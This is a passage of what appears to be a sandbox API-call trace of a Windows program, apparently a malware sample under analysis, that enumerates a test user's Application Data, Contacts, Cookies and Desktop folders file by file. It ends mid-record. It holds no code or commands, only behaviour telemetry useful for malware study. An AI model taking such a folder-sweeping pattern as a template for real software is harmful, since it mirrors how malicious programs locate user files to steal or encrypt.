| out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0112.748] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0112.748] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.748] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0112.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.748] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.748] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.748] PathFindFileNameW (pszPath="") returned="" [0112.748] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9682c550, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9682c550, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d540 | out: hHeap=0x660000) returned 1 [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.748] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.748] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.748] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0112.749] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.749] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.749] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.749] PathFindFileNameW (pszPath="") returned="" [0112.749] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf400 | out: hHeap=0x660000) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0112.749] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0112.749] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.749] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.749] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0112.749] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.749] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.749] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.749] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.750] PathFindFileNameW (pszPath="") returned="" [0112.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0112.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c5d8 | out: hHeap=0x660000) returned 1 [0112.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326ddb8 | out: hHeap=0x660000) returned 1 [0112.750] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0112.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.750] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba580 | out: hHeap=0x660000) returned 1 [0112.750] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.750] PathFindFileNameW (pszPath="") returned="" [0112.750] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d34a350, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d34a350, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326de10 | out: hHeap=0x660000) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9d34a350, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9d34a350, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50377f00, ftCreationTime.dwHighDateTime=0x1d4ccdd, ftLastAccessTime.dwLowDateTime=0x439ca1a0, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x439ca1a0, ftLastWriteTime.dwHighDateTime=0x1d4cee8, nFileSizeHigh=0x0, nFileSizeLow=0x3287, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-args_Zs.swf", cAlternateFileName="")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a90c00, ftCreationTime.dwHighDateTime=0x1d4c877, ftLastAccessTime.dwLowDateTime=0x4c899ab0, ftLastAccessTime.dwHighDateTime=0x1d4d29a, ftLastWriteTime.dwLowDateTime=0x4c899ab0, ftLastWriteTime.dwHighDateTime=0x1d4d29a, nFileSizeHigh=0x0, nFileSizeLow=0x4d89, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6E-An34Wc.pps", cAlternateFileName="6E-AN3~1.PPS")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7ad7a0, ftCreationTime.dwHighDateTime=0x1d4c863, ftLastAccessTime.dwLowDateTime=0xc063a280, ftLastAccessTime.dwHighDateTime=0x1d4c5b3, ftLastWriteTime.dwLowDateTime=0xc063a280, ftLastWriteTime.dwHighDateTime=0x1d4c5b3, nFileSizeHigh=0x0, nFileSizeLow=0xcab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6SGcgdd.wav", cAlternateFileName="")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4873ee0, ftCreationTime.dwHighDateTime=0x1d4cd30, ftLastAccessTime.dwLowDateTime=0x45330360, ftLastAccessTime.dwHighDateTime=0x1d4c5c4, ftLastWriteTime.dwLowDateTime=0x45330360, ftLastWriteTime.dwHighDateTime=0x1d4c5c4, nFileSizeHigh=0x0, nFileSizeLow=0xeaf5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7SFmX9n.mp3", cAlternateFileName="")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff7997b0, ftCreationTime.dwHighDateTime=0x1d4ca20, ftLastAccessTime.dwLowDateTime=0xb950acf0, ftLastAccessTime.dwHighDateTime=0x1d4c65c, ftLastWriteTime.dwLowDateTime=0xb950acf0, ftLastWriteTime.dwHighDateTime=0x1d4c65c, nFileSizeHigh=0x0, nFileSizeLow=0x1a79, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9fAUwhZz7XQ47.flv", cAlternateFileName="9FAUWH~1.FLV")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d2285e0, ftCreationTime.dwHighDateTime=0x1d4c72e, ftLastAccessTime.dwLowDateTime=0x3e900a40, ftLastAccessTime.dwHighDateTime=0x1d4d5ae, ftLastWriteTime.dwLowDateTime=0x3e900a40, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x840b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9QtC.gif", cAlternateFileName="")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c9bf40, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0xfbb71bb0, ftLastAccessTime.dwHighDateTime=0x1d4cb84, ftLastWriteTime.dwLowDateTime=0xfbb71bb0, ftLastWriteTime.dwHighDateTime=0x1d4cb84, nFileSizeHigh=0x0, nFileSizeLow=0x63b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chaznO Q_Ziy0yX2s.ots", cAlternateFileName="CHAZNO~1.OTS")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9203dc80, ftCreationTime.dwHighDateTime=0x1d53993, ftLastAccessTime.dwLowDateTime=0x9203dc80, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x916b4600, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe", cAlternateFileName="CUSERS~1.EXE")) returned 1 [0112.750] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7aae970, ftCreationTime.dwHighDateTime=0x1d4cfc9, ftLastAccessTime.dwLowDateTime=0x4517a850, ftLastAccessTime.dwHighDateTime=0x1d4d0ea, ftLastWriteTime.dwLowDateTime=0x4517a850, ftLastWriteTime.dwHighDateTime=0x1d4d0ea, nFileSizeHigh=0x0, nFileSizeLow=0x1572c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dnuc8.swf", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76db10, ftCreationTime.dwHighDateTime=0x1d4c6aa, ftLastAccessTime.dwLowDateTime=0x85778c80, ftLastAccessTime.dwHighDateTime=0x1d4ccad, ftLastWriteTime.dwLowDateTime=0x85778c80, ftLastWriteTime.dwHighDateTime=0x1d4ccad, nFileSizeHigh=0x0, nFileSizeLow=0x174fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E_g7Iz0.flv", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1a5f40, ftCreationTime.dwHighDateTime=0x1d4cb3f, ftLastAccessTime.dwLowDateTime=0x52ac14f0, ftLastAccessTime.dwHighDateTime=0x1d4d492, ftLastWriteTime.dwLowDateTime=0x52ac14f0, ftLastWriteTime.dwHighDateTime=0x1d4d492, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g-yKu99NgX3E1avh.flv", cAlternateFileName="G-YKU9~1.FLV")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebf072b0, ftCreationTime.dwHighDateTime=0x1d4ccf3, ftLastAccessTime.dwLowDateTime=0x1bd00, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0x1bd00, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x11ab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gHQF.mp4", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05e480, ftCreationTime.dwHighDateTime=0x1d4ce82, ftLastAccessTime.dwLowDateTime=0x670960, ftLastAccessTime.dwHighDateTime=0x1d4cbec, ftLastWriteTime.dwLowDateTime=0x670960, ftLastWriteTime.dwHighDateTime=0x1d4cbec, nFileSizeHigh=0x0, nFileSizeLow=0x13057, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GL6BHNKrZbqTT.mp3", cAlternateFileName="GL6BHN~1.MP3")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x189eee90, ftCreationTime.dwHighDateTime=0x1d4d2cb, ftLastAccessTime.dwLowDateTime=0xead9ab00, ftLastAccessTime.dwHighDateTime=0x1d4d313, ftLastWriteTime.dwLowDateTime=0xead9ab00, ftLastWriteTime.dwHighDateTime=0x1d4d313, nFileSizeHigh=0x0, nFileSizeLow=0xc966, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JIZ4scK0VOvc.jpg", cAlternateFileName="JIZ4SC~1.JPG")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x436d28f0, ftCreationTime.dwHighDateTime=0x1d4c5ef, ftLastAccessTime.dwLowDateTime=0x286c5480, ftLastAccessTime.dwHighDateTime=0x1d4cece, ftLastWriteTime.dwLowDateTime=0x286c5480, ftLastWriteTime.dwHighDateTime=0x1d4cece, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k 8cyI7PkJoZDNg M", cAlternateFileName="K8CYI7~1")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd18180, ftCreationTime.dwHighDateTime=0x1d4ccc7, ftLastAccessTime.dwLowDateTime=0xbb878620, ftLastAccessTime.dwHighDateTime=0x1d4c688, ftLastWriteTime.dwLowDateTime=0xbb878620, ftLastWriteTime.dwHighDateTime=0x1d4c688, nFileSizeHigh=0x0, nFileSizeLow=0x5319, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="k1dd.gif", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c227310, ftCreationTime.dwHighDateTime=0x1d4c626, ftLastAccessTime.dwLowDateTime=0xee009260, ftLastAccessTime.dwHighDateTime=0x1d4cd11, ftLastWriteTime.dwLowDateTime=0xee009260, ftLastWriteTime.dwHighDateTime=0x1d4cd11, nFileSizeHigh=0x0, nFileSizeLow=0x18d50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M3MLVH7xcPc.jpg", cAlternateFileName="M3MLVH~1.JPG")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd770cdb0, ftCreationTime.dwHighDateTime=0x1d4c78c, ftLastAccessTime.dwLowDateTime=0xf4b1d310, ftLastAccessTime.dwHighDateTime=0x1d4d051, ftLastWriteTime.dwLowDateTime=0xf4b1d310, ftLastWriteTime.dwHighDateTime=0x1d4d051, nFileSizeHigh=0x0, nFileSizeLow=0x2e9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nbzD8p.wav", cAlternateFileName="")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33aebfe0, ftCreationTime.dwHighDateTime=0x1d4c7b7, ftLastAccessTime.dwLowDateTime=0x28bdb360, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0x28bdb360, ftLastWriteTime.dwHighDateTime=0x1d4c77c, nFileSizeHigh=0x0, nFileSizeLow=0xac1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OQQNDY6qNZHsM.flv", cAlternateFileName="OQQNDY~1.FLV")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x696ed40, ftCreationTime.dwHighDateTime=0x1d4ca17, ftLastAccessTime.dwLowDateTime=0xe9673d10, ftLastAccessTime.dwHighDateTime=0x1d4c61f, ftLastWriteTime.dwLowDateTime=0xe9673d10, ftLastWriteTime.dwHighDateTime=0x1d4c61f, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ote7kPgqRa 0Oya j.avi", cAlternateFileName="OTE7KP~1.AVI")) returned 1 [0112.751] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, 